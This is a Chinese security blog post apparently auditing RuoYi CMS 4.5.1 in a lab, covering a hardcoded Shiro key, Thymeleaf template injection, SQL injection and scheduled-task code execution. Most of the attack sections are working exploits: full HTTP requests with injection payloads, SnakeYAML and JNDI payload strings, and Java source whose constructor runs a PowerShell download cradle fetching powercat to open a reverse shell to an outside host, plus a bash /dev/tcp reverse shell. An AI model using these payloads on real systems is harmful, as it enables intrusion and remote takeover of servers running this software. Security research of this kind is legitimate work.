【代码审计】若依CMS 4.5.1代码审计

产品介绍

RuoYi是一个后台管理系统,它主要基于经典技术(Spring Boot、Apache Shiro、MyBatis、Thymeleaf)组合构建而成,主要目的让开发者注重专注业务,降低技术难度,从而节省人力成本,缩短项目周期,提高软件安全质量

环境搭建

产品源码:

下载好对应的CMS安装部署包之后使用IDEA打开工程等待程序自动加载三方的JAR包:

变更Server的端口规避端口冲突问题:

随后启动PHPStudy并新建数据库RY,随后导入数据库文件并更改配置文件application-druid.yml

代码语言:javascript代码运行次数:0运行复制
DBName:ry
Username:Ruoyi
Password:Ry@123456

随后运行RuoYIApplication启动项目

随后正常启动并反问若依系统:

代码审计
Shiro反序列化

获取到源代码之后查看pom.xml文件发现其中引入了Shiro组件

C:\Users\RedTeam\Desktop\RuoYi-4.5.1\pom.xml

随后全局搜索"cipherKey"发现配置文件中硬编码了密钥信息——zSyK5Kp6PZAAjlT+eeNMlg==

C:\Users\RedTeam\Desktop\RuoYi-4.5.1\ruoyi-admin\src\main\resources\application.yml

随后发现登录认证中存在rememberMe选项

随后查看这里的Login可以看到这里已经来到了Shiro对应的Jar包中,说明这里使用的是Shiro进行的鉴权

在知道Shiro加密密钥和确认Web使用了Shiro进行登录认证鉴权的前提下可以通过漏洞利用工具直接进行利用(备注:Apache Shiro <=1.2.4版本属于密钥硬编码且使用AES-CBC加密模式,在Apache Shiro 1.2.4版本之后则是由用户指定密钥且加密模式更改为了AES-GCM)

Thymeleaf模版注入

在获取到源代码之后查看pom.xml文件发现其中引入了thymeleaf组件且版本为2.0.0低版本

C:\Users\RedTeam\Desktop\RuoYi-4.5.1\pom.xml

随后全局搜索"::"来看那些位置可控,随后发现一处可控位置

C:\Users\RedTeam\Desktop\RuoYi-4.5.1\ruoyi-admin\src\main\java\com\ruoyi\web\controller\demo\controller\DemoFormController.java

紧接着构造相关恶意载荷并进行触发

代码语言:javascript代码运行次数:0运行复制
POST /demo/form/localrefresh/task HTTP/1.1
Host: 192.168.204.139:8090
Content-Length: 145
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.204.139:8090
Referer: http://192.168.204.139:8090/demo/form/localrefresh
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=0f9d7684-4bc6-41ce-b7bb-7d1eea7c48ab
Connection: close

taskName=1&fragment=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cmd.exe /c calc%22).getInputStream()).next()%7d__::.x

除了上面的第三方组件外其实还有其他的组件,比如:Druid、Fastjson、Swagger、Velocity,但是经过审计发现Druid前面由于统一使用Shiro鉴权不存在所谓的未授权访问问题,当前的RuoYI只是做了内嵌且有包裹性的认证防护,另外Fastjson则虽然是在漏洞影响范围内但是全局检索"parse("无可控的解析调用位置,Swagger也是仅做的内嵌不存在未授权访问类的问题,Velocity则是因为虽然引入了对应的版本但是参数不可控导致无法进行利用

SQLInjection安全问题

RuoYI CMS使用了Mybatis持久层框架,而在MyBatis中会使用XML或注解来配置和映射原生信息将接口和Java的POJOs(Plain Ordinary Java Object,普通的Java对象)映射成数据库中的记录,所以我们可以通过全局检索"${}"来确定未使用预编译的可疑位置,随后进行参数回溯分析来确定漏洞是否真实存在,简易示例如下:

随后根据id定位到上层的DAO层

随后检索接口的具体调用点有那些位置

随后在根据调用位置向上回溯Controller层,这里以selectDeptList为例

从下面代码中的@RequiresPermissions注解表明接口访问权限,@PostMapping注解表明接口调用方式为POST,@ResponseBody注解表明会将返回值写入http响应

随后我们还需要看一下上层在调用接口的时候是否有做过滤处理——无

随后我们即可确认此处存在SQL注入问题并访问后台找寻功能位置进行抓包操作

可以看到正常抓包是没有上述我们分析到的参数的,但是我们可以进行构造dataScope参数来进行注入操作

代码语言:javascript代码运行次数:0运行复制
POST /system/dept/list HTTP/1.1
Host: 192.168.204.139:8090
Content-Length: 40
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.204.139:8090
Referer: http://192.168.204.139:8090/system/dept
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=a49e98d9-1d37-4027-b218-41589e55a845
Connection: close

deptName=&status=0&params%5BdataScope%5D=

随后丢到Sqlmap中进行验证

同样可以推导出其余的SQL注入点和载荷,下面仅给出一则:

功能位置:用户管理-用户查询

注入参数:params[dataScope]

请求报文载荷

代码语言:javascript代码运行次数:0运行复制
POST /system/user/list HTTP/1.1
Host: 192.168.204.139:8090
Content-Length: 153
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.204.139:8090
Referer: http://192.168.204.139:8090/system/user
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=a49e98d9-1d37-4027-b218-41589e55a845
Connection: close

pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&deptId=&parentId=&loginName=ry&phonenumber=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=&params%5BdataScope%5D=

SQL注入验证如下:

计划任务任意命令执行

全局搜索"execute("关键词后发现在计划任务处存在一处调用点

随后查看其具体的实现类:

可以调用任意类的任意方法

这里的isValidClassName主要用于验证是否为class包名

在这里我们首先会想到的就是直接使用Java原生的java.lang.Runtime.getRuntim().exec("")来执行命令,然而想要通过Class.forName(beanName).newInstance()成功实例化,必须满足类至少有一个构造函数——无参且public,由于Runtime类的构造函数是private的,故而不满足条件,同样当我们想通过反射ProcessBuilder时,虽然可以在new ProcessBuilder的时候可以不加参数但是并不代表ProcessBuilder的构造函数是无参的,因此使用ProcessBuilder的payload也会报错,根据若依的定时任务代码,需要满足以下条件:

  • 方法具有代码执行的潜力
  • 类的构造函数无参且public
  • 调用的方法的参数类型只能是String/int/long/double

在若依中的三方组件引入了snake,所以我们可以构造以下载荷进行利用:

代码语言:javascript代码运行次数:0运行复制
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.URLClassLoader [[!!java.URL [";]]]]')

执行任务:

随后可以看到成功的请求:

反弹shell时我们可以通过一下方式来进行利用:

Step 1:下载yaml-payload

随后更改其中要执行的命令载荷

代码语言:javascript代码运行次数:0运行复制
package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            //Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.204.144/4444 0>&1"});
			Runtime.getRuntime().exec("powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.204.144:1234/powercat.ps1');powercat -c 192.168.204.144 -p 4444 -e cmd");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

Step 2:运行下面的命令进行编译生成新的yaml-payload.jar

代码语言:javascript代码运行次数:0运行复制
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

Step 3:构建web服务托管payload.jar文件

Step 4:开启监听

Step 5:执行命令

代码语言:javascript代码运行次数:0运行复制
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.URLClassLoader [[!!java.URL ["http://192.168.204.144:1234/payload.jar"]]]]')

随后成功反弹shell回来(备注:这里的计划任务内容中如果创建时内容一致则第二次执行会失效,所以从下面看到的是请求了payloadd.jar,这里做了一个变更不影响正常的反弹shell,另外还需要目标Windows主机无相关的杀软防护,否则容易被查杀,至于Linux则直接使用上面载荷中的/bin/bash进行反弹shell即可):

在这里我们也可以使用JAVA自身的库和包来做一个简单的测试,构造如下载荷

代码语言:javascript代码运行次数:0运行复制
javax.naming.InitialContext.lookup('ldap://urlcx0.dnslog')

执行任务之后成功触发恶意载荷:

文件上传导致XSS风险

通过全局检索fileupload定位到文件上传通用处理工具类位置:

这里调用FileUploadUtils.upload进行文件上传处理

随后继续跟进来到upload函数中,紧接着在这里调用重载的upload方法来进行文件上传操作

校验文件大小以及白名单校验检查导致无法上传恶意脚本来进行GetShell操作

但是白名单中包含了html文件和pdf文件可以用于进行上传对应类型的文件,如果支持在线解析则可以导致XSS

另外RuoYI使用了Swagger-UI,当前的版本不再影响范围之内,但是高版本可以进行进一步核实查看是否可以使用Swagger-UI自身的安全漏洞来打XSS

文末小结

本篇文章主要站在代码审计角度对Ruoyi CMS从三方组件、配置文件、通用漏洞进行了代码审计并在其中融入了代码审计的一些思路和方法供大家一起探讨,当然在JAVA代码审计中也不仅限于上面的几个维度还有业务逻辑层面的问题更为重要尤其是针对与金融行业的企业来说,关于这一部分等后期有空再专门出一个关于业务逻辑层面的代码审计思路和方法~

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。原始发表:2025-04-09,如有侵权请联系 cloudcommunity@tencent 删除代码审计cms接口漏洞文件上传